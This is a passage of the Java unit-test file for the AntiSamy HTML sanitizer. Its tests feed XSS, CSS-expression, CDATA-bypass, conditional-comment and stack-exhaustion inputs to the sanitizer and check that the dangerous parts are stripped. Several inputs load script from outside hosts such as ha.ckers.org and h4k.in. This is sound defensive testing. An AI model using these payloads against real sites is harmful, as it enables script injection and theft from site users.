AntiSamy.SAX).getCleanHTML().contains(\"<embed\"));", " assertTrue(!as.scan(\"<SCRIPT a=\\\">\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<script\"));\n assertTrue(!as.scan(\"<SCRIPT a=\\\">\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<script\"));", " assertTrue(!as.scan(\"<SCRIPT a=\\\">\\\" '' SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<script\"));\n assertTrue(!as.scan(\"<SCRIPT a=\\\">\\\" '' SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<script\"));", " assertTrue(!as.scan(\"<SCRIPT a=`>` SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<script\"));\n assertTrue(!as.scan(\"<SCRIPT a=`>` SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<script\"));", " assertTrue(!as.scan(\"<SCRIPT a=\\\">'>\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<script\"));\n assertTrue(!as.scan(\"<SCRIPT a=\\\">'>\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<script\"));", " assertTrue(!as.scan(\"<SCRIPT>document.write(\\\"<SCRI\\\");</SCRIPT>PT SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"script\"));\n assertTrue(!as.scan(\"<SCRIPT>document.write(\\\"<SCRI\\\");</SCRIPT>PT SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"script\"));", " assertTrue(!as.scan(\"<SCRIPT SRC=http://ha.ckers.org/xss.js\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<script\"));\n assertTrue(!as.scan(\"<SCRIPT SRC=http://ha.ckers.org/xss.js\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<script\"));", " assertTrue(!as.scan(\n \"<div/style=&#92&#45&#92&#109&#111&#92&#122&#92&#45&#98&#92&#105&#92&#110&#100&#92&#105&#110&#92&#103:&#92&#117&#114&#108&#40&#47&#47&#98&#117&#115&#105&#110&#101&#115&#115&#92&#105&#92&#110&#102&#111&#46&#99&#111&#46&#117&#107&#92&#47&#108&#97&#98&#115&#92&#47&#120&#98&#108&#92&#47&#120&#98&#108&#92&#46&#120&#109&#108&#92&#35&#120&#115&#115&#41&>\",\n policy, AntiSamy.DOM).getCleanHTML().contains(\"style\"));\n assertTrue(!as.scan(\n \"<div/style=&#92&#45&#92&#109&#111&#92&#122&#92&#45&#98&#92&#105&#92&#110&#100&#92&#105&#110&#92&#103:&#92&#117&#114&#108&#40&#47&#47&#98&#117&#115&#105&#110&#101&#115&#115&#92&#105&#92&#110&#102&#111&#46&#99&#111&#46&#117&#107&#92&#47&#108&#97&#98&#115&#92&#47&#120&#98&#108&#92&#47&#120&#98&#108&#92&#46&#120&#109&#108&#92&#35&#120&#115&#115&#41&>\",\n policy, AntiSamy.SAX).getCleanHTML().contains(\"style\"));", " assertTrue(!as.scan(\"<a href='aim: &c:\\\\windows\\\\system32\\\\calc.exe' ini='C:\\\\Documents and Settings\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\pwnd.bat'>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"aim.exe\"));\n assertTrue(!as.scan(\"<a href='aim: &c:\\\\windows\\\\system32\\\\calc.exe' ini='C:\\\\Documents and Settings\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\pwnd.bat'>\", policy, AntiSamy.SAX)\n .getCleanHTML().contains(\"aim.exe\"));", " assertTrue(!as.scan(\"<!--\\n<A href=\\n- --><a href=javascript:alert:document.domain>test-->\", policy, AntiSamy.DOM).getCleanHTML().contains(\"javascript\"));\n assertTrue(!as.scan(\"<!--\\n<A href=\\n- --><a href=javascript:alert:document.domain>test-->\", policy, AntiSamy.SAX).getCleanHTML().contains(\"javascript\"));", " assertTrue(!as.scan(\"<a></a style=\\\"\\\"xx:expr/**/ession(document.appendChild(document.createElement('script')).src='http://h4k.in/i.js')\\\">\", policy, AntiSamy.DOM).getCleanHTML().contains(\"document\"));\n assertTrue(!as.scan(\"<a></a style=\\\"\\\"xx:expr/**/ession(document.appendChild(document.createElement('script')).src='http://h4k.in/i.js')\\\">\", policy, AntiSamy.SAX).getCleanHTML().contains(\"document\"));\n }", " /*\n * Test CSS protections.\n */", " @Test\n public void cssAttacks() throws ScanException, PolicyException {", " assertTrue(!as.scan(\"<div style=\\\"position:absolute\\\">\", policy, AntiSamy.DOM).getCleanHTML().contains(\"position\"));\n assertTrue(!as.scan(\"<div style=\\\"position:absolute\\\">\", policy, AntiSamy.SAX).getCleanHTML().contains(\"position\"));", " assertTrue(!as.scan(\"<style>b { position:absolute }</style>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"position\"));\n assertTrue(!as.scan(\"<style>b { position:absolute }</style>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"position\"));", " assertTrue(!as.scan(\"<div style=\\\"z-index:25\\\">test</div>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"z-index\"));\n assertTrue(!as.scan(\"<div style=\\\"z-index:25\\\">test</div>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"z-index\"));", " assertTrue(!as.scan(\"<style>z-index:25</style>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"z-index\"));\n assertTrue(!as.scan(\"<style>z-index:25</style>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"z-index\"));\n }", " /*\n * Test a bunch of strings that have tweaked the XML parsing capabilities of\n * NekoHTML.\n */\n @Test\n public void IllegalXML() throws PolicyException {", " for (String BASE64_BAD_XML_STRING : BASE64_BAD_XML_STRINGS) {", " try {\n String testStr = new String(Base64.decodeBase64(BASE64_BAD_XML_STRING.getBytes()));\n as.scan(testStr, policy, AntiSamy.DOM);\n as.scan(testStr, policy, AntiSamy.SAX);", " } catch (ScanException ex) {\n // still success!\n }\n }", " // This fails due to a bug in NekoHTML\n // try {\n // assertTrue (\n // as.scan(\"<a . href=\\\"http://www.test.com\\\">\",policy, AntiSamy.DOM).getCleanHTML().indexOf(\"href\")\n // != -1 );\n // } catch (Exception e) {\n // e.printStackTrace();\n // fail(\"Couldn't parse malformed HTML: \" + e.getMessage());\n // }", " // This fails due to a bug in NekoHTML\n // try {\n // assertTrue (\n // as.scan(\"<a - href=\\\"http://www.test.com\\\">\",policy, AntiSamy.DOM).getCleanHTML().indexOf(\"href\")\n // != -1 );\n // } catch (Exception e) {\n // e.printStackTrace();\n // fail(\"Couldn't parse malformed HTML: \" + e.getMessage());\n // }", " try {\n assertTrue(as.scan(\"<style>\", policy, AntiSamy.DOM) != null);\n } catch (Exception e) {\n e.printStackTrace();\n fail(\"Couldn't parse malformed HTML: \" + e.getMessage());\n }\n }", " @Test\n public void issue12() throws ScanException, PolicyException {", " /*\n * issues 12 (and 36, which was similar). empty tags cause display\n * problems/\"formjacking\"\n */", " Pattern p = Pattern.compile(\".*<strong(\\\\s*)/>.*\");\n String s1 = as.scan(\"<br ><strong></strong><a>hello world</a><b /><i/><hr>\", policy, AntiSamy.DOM).getCleanHTML();\n String s2 = as.scan(\"<br ><strong></strong><a>hello world</a><b /><i/><hr>\", policy, AntiSamy.SAX).getCleanHTML();", " assertFalse(p.matcher(s1).matches());", " p = Pattern.compile(\".*<b(\\\\s*)/>.*\");\n assertFalse(p.matcher(s1).matches());\n assertFalse(p.matcher(s2).matches());", " p = Pattern.compile(\".*<i(\\\\s*)/>.*\");\n assertFalse(p.matcher(s1).matches());\n assertFalse(p.matcher(s2).matches());", " assertTrue(s1.contains(\"<hr />\") || s1.contains(\"<hr/>\"));\n assertTrue(s2.contains(\"<hr />\") || s2.contains(\"<hr/>\"));\n }", " @Test\n public void issue20() throws ScanException, PolicyException {\n String s = as.scan(\"<b><i>Some Text</b></i>\", policy, AntiSamy.DOM).getCleanHTML();\n assertTrue(!s.contains(\"<i />\"));", " s = as.scan(\"<b><i>Some Text</b></i>\", policy, AntiSamy.SAX).getCleanHTML();\n assertTrue(!s.contains(\"<i />\"));\n }", " @Test\n public void issue25() throws ScanException, PolicyException {\n String s = \"<div style=\\\"margin: -5em\\\">Test</div>\";\n String expected = \"<div style=\\\"\\\">Test</div>\";", " String crDom = as.scan(s, policy, AntiSamy.DOM).getCleanHTML();\n assertEquals(crDom, expected);\n String crSax = as.scan(s, policy, AntiSamy.SAX).getCleanHTML();\n assertEquals(crSax, expected);\n }", "\n @Test\n public void issue28() throws ScanException, PolicyException {\n String s1 = as.scan(\"<div style=\\\"font-family: Geneva, Arial, courier new, sans-serif\\\">Test</div>\", policy, AntiSamy.DOM).getCleanHTML();\n String s2 = as.scan(\"<div style=\\\"font-family: Geneva, Arial, courier new, sans-serif\\\">Test</div>\", policy, AntiSamy.SAX).getCleanHTML();\n assertTrue(s1.contains(\"font-family\"));\n assertTrue(s2.contains(\"font-family\"));\n }", " @Test\n public void issue29() throws ScanException, PolicyException {\n /* issue #29 - missing quotes around properties with spaces */\n String s = \"<style type=\\\"text/css\\\"><![CDATA[P {\\n\tfont-family: \\\"Arial Unicode MS\\\";\\n}\\n]]></style>\";\n CleanResults cr = as.scan(s, policy, AntiSamy.DOM);\n assertEquals(s, cr.getCleanHTML());\n }", " @Test\n public void issue30() throws ScanException, PolicyException {", " String s = \"<style type=\\\"text/css\\\"><![CDATA[P { margin-bottom: 0.08in; } ]]></style>\";", " as.scan(s, policy, AntiSamy.DOM);\n CleanResults cr;", " /* followup - does the patch fix multiline CSS? */\n String s2 = \"<style type=\\\"text/css\\\"><![CDATA[\\r\\nP {\\r\\n margin-bottom: 0.08in;\\r\\n}\\r\\n]]></style>\";\n cr = as.scan(s2, policy, AntiSamy.DOM);\n assertEquals(\"<style type=\\\"text/css\\\"><![CDATA[P {\\n\\tmargin-bottom: 0.08in;\\n}\\n]]></style>\", cr.getCleanHTML());", " /* next followup - does non-CDATA parsing still work? */", " String s3 = \"<style>P {\\n\\tmargin-bottom: 0.08in;\\n}\\n\";\n cr = as.scan(s3, policy.cloneWithDirective(Policy.USE_XHTML, \"false\"), AntiSamy.DOM);\n assertEquals(\"<style>P {\\n\\tmargin-bottom: 0.08in;\\n}\\n</style>\\n\", cr.getCleanHTML());\n }", " @Test\n public void issue31() throws ScanException, PolicyException {", " String test = \"<b><u><g>foo</g></u></b>\";\n Policy revised = policy.cloneWithDirective(\"onUnknownTag\", \"encode\");\n CleanResults cr = as.scan(test, revised, AntiSamy.DOM);\n String s = cr.getCleanHTML();\n assertFalse(!s.contains(\"&lt;g&gt;\"));\n assertFalse(!s.contains(\"&lt;/g&gt;\"));\n s = as.scan(test, revised, AntiSamy.SAX).getCleanHTML();\n assertFalse(!s.contains(\"&lt;g&gt;\"));\n assertFalse(!s.contains(\"&lt;/g&gt;\"));", " Tag tag = policy.getTagByLowercaseName(\"b\").mutateAction(\"encode\");\n Policy policy1 = policy.mutateTag(tag);", " cr = as.scan(test, policy1, AntiSamy.DOM);\n s = cr.getCleanHTML();", " assertFalse(!s.contains(\"&lt;b&gt;\"));\n assertFalse(!s.contains(\"&lt;/b&gt;\"));", " cr = as.scan(test, policy1, AntiSamy.SAX);\n s = cr.getCleanHTML();", " assertFalse(!s.contains(\"&lt;b&gt;\"));\n assertFalse(!s.contains(\"&lt;/b&gt;\"));\n }", " @Test\n public void issue32() throws ScanException, PolicyException {\n /* issue #32 - nekos problem */\n String s = \"<SCRIPT =\\\">\\\" SRC=\\\"\\\"></SCRIPT>\";\n as.scan(s, policy, AntiSamy.DOM);\n as.scan(s, policy, AntiSamy.SAX);\n }", " @Test\n public void issue37() throws ScanException, PolicyException {", " String dirty = \"<a onblur=\\\"try {parent.deselectBloggerImageGracefully();}\" + \"catch(e) {}\\\"\"\n + \"href=\\\"http://www.charityadvantage.com/ChildrensmuseumEaston/images/BookswithBill.jpg\\\"><img\" + \"style=\\\"FLOAT: right; MARGIN: 0px 0px 10px 10px; WIDTH: 150px; CURSOR:\"\n + \"hand; HEIGHT: 100px\\\" alt=\\\"\\\"\" + \"src=\\\"http://www.charityadvantage.com/ChildrensmuseumEaston/images/BookswithBill.jpg\\\"\"\n + \"border=\\\"0\\\" /></a><br />Poor Bill, couldn't make it to the Museum's <span\" + \"class=\\\"blsp-spelling-corrected\\\" id=\\\"SPELLING_ERROR_0\\\">story time</span>\"\n + \"today, he was so busy shoveling! Well, we sure missed you Bill! So since\" + \"ou were busy moving snow we read books about snow. We found a clue in one\"\n + \"book which revealed a snowplow at the end of the story - we wish it had\" + \"driven to your driveway Bill. We also read a story which shared fourteen\"\n + \"<em>Names For Snow. </em>We'll catch up with you next week....wonder which\" + \"hat Bill will wear?<br />Jane\";", " Policy mySpacePolicy = Policy.getInstance(getClass().getResource(\"/antisamy-myspace.xml\"));\n CleanResults cr = as.scan(dirty, mySpacePolicy, AntiSamy.DOM);\n assertNotNull(cr.getCleanHTML());\n cr = as.scan(dirty, mySpacePolicy, AntiSamy.SAX);\n assertNotNull(cr.getCleanHTML());", " Policy ebayPolicy = Policy.getInstance(getClass().getResource(\"/antisamy-ebay.xml\"));\n cr = as.scan(dirty, ebayPolicy, AntiSamy.DOM);\n assertNotNull(cr.getCleanHTML());\n cr = as.scan(dirty, mySpacePolicy, AntiSamy.SAX);\n assertNotNull(cr.getCleanHTML());", " Policy slashdotPolicy = Policy.getInstance(getClass().getResource(\"/antisamy-slashdot.xml\"));\n cr = as.scan(dirty, slashdotPolicy, AntiSamy.DOM);\n assertNotNull(cr.getCleanHTML());\n cr = as.scan(dirty, slashdotPolicy, AntiSamy.SAX);\n assertNotNull(cr.getCleanHTML());\n }", " @Test\n public void issue38() throws ScanException, PolicyException {", " /* issue #38 - color problem/color combinations */\n String s = \"<font color=\\\"#fff\\\">Test</font>\";\n String expected = \"<font color=\\\"#fff\\\">Test</font>\";\n assertEquals(as.scan(s, policy, AntiSamy.DOM).getCleanHTML(), expected);\n assertEquals(as.scan(s, policy, AntiSamy.SAX).getCleanHTML(), expected);", " s = \"<div style=\\\"color: #fff\\\">Test 3 letter code</div>\";\n expected = \"<div style=\\\"color: rgb(255,255,255);\\\">Test 3 letter code</div>\";\n assertEquals(as.scan(s, policy, AntiSamy.DOM).getCleanHTML(), expected);\n assertEquals(as.scan(s, policy, AntiSamy.SAX).getCleanHTML(), expected);", " s = \"<font color=\\\"red\\\">Test</font>\";\n expected = \"<font color=\\\"red\\\">Test</font>\";\n assertEquals(as.scan(s, policy, AntiSamy.DOM).getCleanHTML(), expected);\n assertEquals(as.scan(s, policy, AntiSamy.SAX).getCleanHTML(), expected);", " s = \"<font color=\\\"neonpink\\\">Test</font>\";\n expected = \"<font>Test</font>\";\n assertEquals(as.scan(s, policy, AntiSamy.DOM).getCleanHTML(), expected);\n assertEquals(as.scan(s, policy, AntiSamy.SAX).getCleanHTML(), expected);", " s = \"<font color=\\\"#0000\\\">Test</font>\";\n expected = \"<font>Test</font>\";\n assertEquals(as.scan(s, policy, AntiSamy.DOM).getCleanHTML(), expected);\n assertEquals(as.scan(s, policy, AntiSamy.SAX).getCleanHTML(), expected);", " s = \"<div style=\\\"color: #0000\\\">Test</div>\";\n expected = \"<div style=\\\"\\\">Test</div>\";\n assertEquals(as.scan(s, policy, AntiSamy.DOM).getCleanHTML(), expected);\n assertEquals(as.scan(s, policy, AntiSamy.SAX).getCleanHTML(), expected);", " s = \"<font color=\\\"#000000\\\">Test</font>\";\n expected = \"<font color=\\\"#000000\\\">Test</font>\";\n assertEquals(as.scan(s, policy, AntiSamy.DOM).getCleanHTML(), expected);\n assertEquals(as.scan(s, policy, AntiSamy.SAX).getCleanHTML(), expected);", " s = \"<div style=\\\"color: #000000\\\">Test</div>\";\n expected = \"<div style=\\\"color: rgb(0,0,0);\\\">Test</div>\";\n assertEquals(as.scan(s, policy, AntiSamy.DOM).getCleanHTML(), expected);\n assertEquals(as.scan(s, policy, AntiSamy.SAX).getCleanHTML(), expected);", " /*\n * This test case was failing because of the following code from the\n * batik CSS library, which throws an exception if any character\n * other than a '!' follows a beginning token of '<'. The\n * ParseException is now caught in the node a CssScanner.java and\n * the outside AntiSamyDOMScanner.java.\n *\n * 0398 nextChar(); 0399 if (current != '!') { 0400 throw new\n * ParseException(\"character\", 0401 reader.getLine(), 0402\n * reader.getColumn());\n */\n s = \"<b><u>foo<style><script>alert(1)</script></style>@import 'x';</u>bar\";\n as.scan(s, policy, AntiSamy.DOM);\n as.scan(s, policy, AntiSamy.SAX);\n }", " @Test\n public void issue40() throws ScanException, PolicyException {", " /* issue #40 - handling <style> media attributes right */", " String s = \"<style media=\\\"print, projection, screen\\\"> P { margin: 1em; }</style>\";\n Policy revised = policy.cloneWithDirective(Policy.PRESERVE_SPACE, \"true\");", " CleanResults cr = as.scan(s, revised, AntiSamy.DOM);\n assertTrue(cr.getCleanHTML().contains(\"print, projection, screen\"));", " cr = as.scan(s, revised, AntiSamy.SAX);\n assertTrue(cr.getCleanHTML().contains(\"print, projection, screen\"));\n }", " @Test\n public void issue41() throws ScanException, PolicyException {\n /* issue #41 - comment handling */", " Policy revised = policy.cloneWithDirective(Policy.PRESERVE_SPACE, \"true\");", " policy.cloneWithDirective(Policy.PRESERVE_COMMENTS, \"false\");", " assertEquals(\"text \", as.scan(\"text <!-- comment -->\", revised, AntiSamy.DOM).getCleanHTML());\n assertEquals(\"text \", as.scan(\"text <!-- comment -->\", revised, AntiSamy.SAX).getCleanHTML());", " Policy revised2 = policy.cloneWithDirective(Policy.PRESERVE_COMMENTS, \"true\").cloneWithDirective(Policy.PRESERVE_SPACE, \"true\").cloneWithDirective(Policy.FORMAT_OUTPUT, \"false\");", " /*\n * These make sure the regular comments are kept alive and that\n * conditional comments are ripped out.\n */\n assertEquals(\"<div>text <!-- comment --></div>\", as.scan(\"<div>text <!-- comment --></div>\", revised2, AntiSamy.DOM).getCleanHTML());\n assertEquals(\"<div>text <!-- comment --></div>\", as.scan(\"<div>text <!-- comment --></div>\", revised2, AntiSamy.SAX).getCleanHTML());", " assertEquals(\"<div>text <!-- comment --></div>\", as.scan(\"<div>text <!--[if IE]> comment <[endif]--></div>\", revised2, AntiSamy.DOM).getCleanHTML());\n assertEquals(\"<div>text <!-- comment --></div>\", as.scan(\"<div>text <!--[if IE]> comment <[endif]--></div>\", revised2, AntiSamy.SAX).getCleanHTML());", " /*\n * Check to see how nested conditional comments are handled. This is\n * not very clean but the main goal is to avoid any tags. Not sure\n * on encodings allowed in comments.\n */\n String input = \"<div>text <!--[if IE]> <!--[if gte 6]> comment <[endif]--><[endif]--></div>\";\n String expected = \"<div>text <!-- <!-- comment -->&lt;[endif]--&gt;</div>\";\n String output = as.scan(input, revised2, AntiSamy.DOM).getCleanHTML();\n assertEquals(expected, output);", " input = \"<div>text <!--[if IE]> <!--[if gte 6]> comment <[endif]--><[endif]--></div>\";\n expected = \"<div>text <!-- <!-- comment -->&lt;[endif]--&gt;</div>\";\n output = as.scan(input, revised2, AntiSamy.SAX).getCleanHTML();", " assertEquals(expected, output);", " /*\n * Regular comment nested inside conditional comment. Test makes\n * sure\n */\n assertEquals(\"<div>text <!-- <!-- IE specific --> comment &lt;[endif]--&gt;</div>\", as.scan(\"<div>text <!--[if IE]> <!-- IE specific --> comment <[endif]--></div>\", revised2, AntiSamy.DOM).getCleanHTML());", " /*\n * These play with whitespace and have invalid comment syntax.\n */\n assertEquals(\"<div>text <!-- \\ncomment --></div>\", as.scan(\"<div>text <!-- [ if lte 6 ]>\\ncomment <[ endif\\n]--></div>\", revised2, AntiSamy.DOM).getCleanHTML());\n assertEquals(\"<div>text comment </div>\", as.scan(\"<div>text <![if !IE]> comment <![endif]></div>\", revised2, AntiSamy.DOM).getCleanHTML());\n assertEquals(\"<div>text comment </div>\", as.scan(\"<div>text <![ if !IE]> comment <![endif]></div>\", revised2, AntiSamy.DOM).getCleanHTML());", " String attack = \"[if lte 8]<script>\";\n String spacer = \"<![if IE]>\";", " StringBuilder sb = new StringBuilder();", " sb.append(\"<div>text<!\");", " for (int i = 0; i < attack.length(); i++) {\n sb.append(attack.charAt(i));\n sb.append(spacer);\n }", " sb.append(\"<![endif]>\");", " String s = sb.toString();", " assertTrue(!as.scan(s, revised2, AntiSamy.DOM).getCleanHTML().contains(\"<script\"));\n assertTrue(!as.scan(s, revised2, AntiSamy.SAX).getCleanHTML().contains(\"<script\"));\n }", " @Test\n public void issue44() throws ScanException, PolicyException {\n /*\n * issue #44 - childless nodes of non-allowed elements won't cause an error\n */\n String s = \"<iframe src='http://foo.com/'></iframe>\" + \"<script src=''></script>\" + \"<link href='/foo.css'>\";\n as.scan(s, policy, AntiSamy.DOM);\n assertEquals(as.scan(s, policy, AntiSamy.DOM).getNumberOfErrors(), 3);", " CleanResults cr = as.scan(s, policy, AntiSamy.SAX);", " assertEquals(cr.getNumberOfErrors(), 3);\n }", " @Test\n public void issue51() throws ScanException, PolicyException {\n /* issue #51 - offsite URLs with () are found to be invalid */\n String s = \"<a href='http://subdomain.domain/(S(ke0lpq54bw0fvp53a10e1a45))/MyPage.aspx'>test</a>\";\n CleanResults cr = as.scan(s, policy, AntiSamy.DOM);", " assertEquals(cr.getNumberOfErrors(), 0);", " cr = as.scan(s, policy, AntiSamy.SAX);\n assertEquals(cr.getNumberOfErrors(), 0);\n }", " @Test\n public void issue56() throws ScanException, PolicyException {\n /* issue #56 - unnecessary spaces */", " String s = \"<SPAN style='font-weight: bold;'>Hello World!</SPAN>\";\n String expected = \"<span style=\\\"font-weight: bold;\\\">Hello World!</span>\";", " CleanResults cr = as.scan(s, policy, AntiSamy.DOM);\n String s2 = cr.getCleanHTML();", " assertEquals(expected, s2);", " cr = as.scan(s, policy, AntiSamy.SAX);\n s2 = cr.getCleanHTML();", " assertEquals(expected, s2);\n }", " @Test\n public void issue58() throws ScanException, PolicyException {\n /* issue #58 - input not in list of allowed-to-be-empty tags */\n String s = \"tgdan <input/> g h\";\n CleanResults cr = as.scan(s, policy, AntiSamy.DOM);\n assertTrue(cr.getErrorMessages().size() == 0);", " cr = as.scan(s, policy, AntiSamy.SAX);\n assertTrue(cr.getErrorMessages().size() == 0);\n }", " @Test\n public void issue61() throws ScanException, PolicyException {\n /* issue #61 - input has newline appended if ends with an accepted tag */\n String dirtyInput = \"blah <b>blah</b>.\";\n Policy revised = policy.cloneWithDirective(Policy.FORMAT_OUTPUT, \"false\");\n CleanResults cr = as.scan(dirtyInput, revised, AntiSamy.DOM);\n assertEquals(dirtyInput, cr.getCleanHTML());", " cr = as.scan(dirtyInput, revised, AntiSamy.SAX);\n assertEquals(dirtyInput, cr.getCleanHTML());\n }", " @Test\n public void issue69() throws ScanException, PolicyException {", " /* issue #69 - char attribute should allow single char or entity ref */", " String s = \"<table><tr><td char='.'>test</td></tr></table>\";\n CleanResults crDom = as.scan(s, policy, AntiSamy.DOM);\n CleanResults crSax = as.scan(s, policy, AntiSamy.SAX);\n String domValue = crDom.getCleanHTML();\n String saxValue = crSax.getCleanHTML();\n assertTrue(domValue.contains(\"char\"));\n assertTrue(saxValue.contains(\"char\"));", " s = \"<table><tr><td char='..'>test</td></tr></table>\";\n assertTrue(!as.scan(s, policy, AntiSamy.DOM).getCleanHTML().contains(\"char\"));\n assertTrue(!as.scan(s, policy, AntiSamy.SAX).getCleanHTML().contains(\"char\"));", " s = \"<table><tr><td char='&quot;'>test</td></tr></table>\";\n assertTrue(as.scan(s, policy, AntiSamy.DOM).getCleanHTML().contains(\"char\"));\n assertTrue(as.scan(s, policy, AntiSamy.SAX).getCleanHTML().contains(\"char\"));", " s = \"<table><tr><td char='&quot;a'>test</td></tr></table>\";\n assertTrue(!as.scan(s, policy, AntiSamy.DOM).getCleanHTML().contains(\"char\"));\n assertTrue(!as.scan(s, policy, AntiSamy.SAX).getCleanHTML().contains(\"char\"));", " s = \"<table><tr><td char='&quot;&amp;'>test</td></tr></table>\";\n assertTrue(!as.scan(s, policy, AntiSamy.DOM).getCleanHTML().contains(\"char\"));\n assertTrue(!as.scan(s, policy, AntiSamy.SAX).getCleanHTML().contains(\"char\"));\n }", " @Test\n public void CDATAByPass() throws ScanException, PolicyException {\n String malInput = \"<![CDATA[]><script>alert(1)</script>]]>\";\n CleanResults crd = as.scan(malInput, policy, AntiSamy.DOM);\n CleanResults crs = as.scan(malInput, policy, AntiSamy.SAX);\n String crDom = crd.getCleanHTML();\n String crSax = crs.getCleanHTML();", " assertTrue(crd.getErrorMessages().size() > 0);\n assertTrue(crs.getErrorMessages().size() > 0);", " assertTrue(crSax.contains(\"&lt;script\") && !crDom.contains(\"<script\"));\n assertTrue(crDom.contains(\"&lt;script\") && !crDom.contains(\"<script\"));\n }", " @Test\n public void literalLists() throws ScanException, PolicyException {", " /* this test is for confirming literal-lists work as\n * advertised. it turned out to be an invalid / non-\n * reproducible bug report but the test seemed useful\n * enough to keep.\n */\n String malInput = \"hello<p align='invalid'>world</p>\";", " CleanResults crd = as.scan(malInput, policy, AntiSamy.DOM);\n String crDom = crd.getCleanHTML();\n CleanResults crs = as.scan(malInput, policy, AntiSamy.SAX);\n String crSax = crs.getCleanHTML();", " assertTrue(!crSax.contains(\"invalid\"));\n assertTrue(!crDom.contains(\"invalid\"));", " assertTrue(crd.getErrorMessages().size() == 1);\n assertTrue(crs.getErrorMessages().size() == 1);", " String goodInput = \"hello<p align='left'>world</p>\";\n crDom = as.scan(goodInput, policy, AntiSamy.DOM).getCleanHTML();\n crSax = as.scan(goodInput, policy, AntiSamy.SAX).getCleanHTML();", " assertTrue(crSax.contains(\"left\"));\n assertTrue(crDom.contains(\"left\"));\n }", " @Test\n public void stackExhaustion() throws ScanException, PolicyException {\n /*\n * Test Julian Cohen's stack exhaustion bug.\n */", " StringBuilder sb = new StringBuilder();\n for (int i = 0; i < 249; i++) {\n sb.append(\"<div>\");\n }\n /*\n * First, make sure this attack is useless against the\n * SAX parser.\n */\n as.scan(sb.toString(), policy, AntiSamy.SAX);", " /*\n * Scan this really deep tree (depth=249, 1 less than the\n * max) and make sure it doesn't blow up.\n */", " CleanResults crd = as.scan(sb.toString(), policy, AntiSamy.DOM);", " String crDom = crd.getCleanHTML();\n assertTrue(crDom.length() != 0);\n /*\n * Now push it over the limit to 251 and make sure we blow\n * up safely.\n */\n sb.append(\"<div><div>\"); // this makes 251", " try {\n as.scan(sb.toString(), policy, AntiSamy.DOM);\n fail(\"DOM depth exceeded max - should've errored\");\n } catch (ScanException e) {\n // An error is expected. Pass\n }\n }", " @Test\n public void issue107() throws ScanException, PolicyException {\n StringBuilder sb = new StringBuilder();", " /*\n * #107 - erroneous newlines appearing? couldn't reproduce this\n * error but the test seems worthy of keeping.\n */\n String nl = \"\\n\";", " String header = \"<h1>Header</h1>\";\n String para = \"<p>Paragraph</p>\";\n sb.append(header);\n sb.append(nl);\n sb.append(para);", " String html = sb.toString();", " String crDom = as.scan(html, policy, AntiSamy.DOM).getCleanHTML();\n String crSax = as.scan(html, policy, AntiSamy.SAX).getCleanHTML();", " /* Make sure only 1 newline appears */\n assertTrue(crDom.lastIndexOf(nl) == crDom.indexOf(nl));\n assertTrue(crSax.lastIndexOf(nl) == crSax.indexOf(nl));", " int expectedLoc = header.length();\n int actualLoc = crSax.indexOf(nl);\n assertTrue(expectedLoc == actualLoc);", " actualLoc = crDom.indexOf(nl);\n // account for line separator length difference across OSes.\n assertTrue(expectedLoc == actualLoc || expectedLoc == actualLoc + 1);\n }", " @Test\n public void issue112() throws ScanException, PolicyException {\n TestPolicy revised = policy.cloneWithDirective(Policy.PRESERVE_COMMENTS, \"true\").cloneWithDirective(Policy.PRESERVE_SPACE, \"true\").cloneWithDirective(Policy.FORMAT_OUTPUT, \"false\");", " /*\n * #112 - empty tag becomes self closing\n */", " String html = \"text <strong></strong> text <strong><em></em></strong> text\";", " String crDom = as.scan(html, revised, AntiSamy.DOM).getCleanHTML();\n String crSax = as.scan(html, revised, AntiSamy.SAX).getCleanHTML();", " assertTrue(!crDom.contains(\"<strong />\") && !crDom.contains(\"<strong/>\"));\n assertTrue(!crSax.contains(\"<strong />\") && !crSax.contains(\"<strong/>\"));", " StringBuilder sb = new StringBuilder();\n sb.append(\"<html><head><title>foobar</title></head><body>\");\n sb.append(\"<img src=\\\"http://foobar.com/pic.gif\\\" /></body></html>\");", " html = sb.toString();", " Policy aTrue = revised.cloneWithDirective(Policy.USE_XHTML, \"true\");\n crDom = as.scan(html, aTrue, AntiSamy.DOM).getCleanHTML();\n crSax = as.scan(html, aTrue, AntiSamy.SAX).getCleanHTML();", " assertTrue(html.equals(crDom));\n assertTrue(html.equals(crSax));\n }", "\n @Test\n public void nestedCdataAttacks() throws ScanException, PolicyException {", " /*\n * Testing for nested CDATA attacks against the SAX parser.\n */", " String html = \"<![CDATA[]><script>alert(1)</script><![CDATA[]>]]><script>alert(2)</script>>]]>\";\n String crDom = as.scan(html, policy, AntiSamy.DOM).getCleanHTML();\n String crSax = as.scan(html, policy, AntiSamy.SAX).getCleanHTML();\n assertTrue(!crDom.contains(\"<script>\"));\n assertTrue(!crSax.contains(\"<script>\"));\n }", " @Test\n public void issue101InternationalCharacterSupport() throws 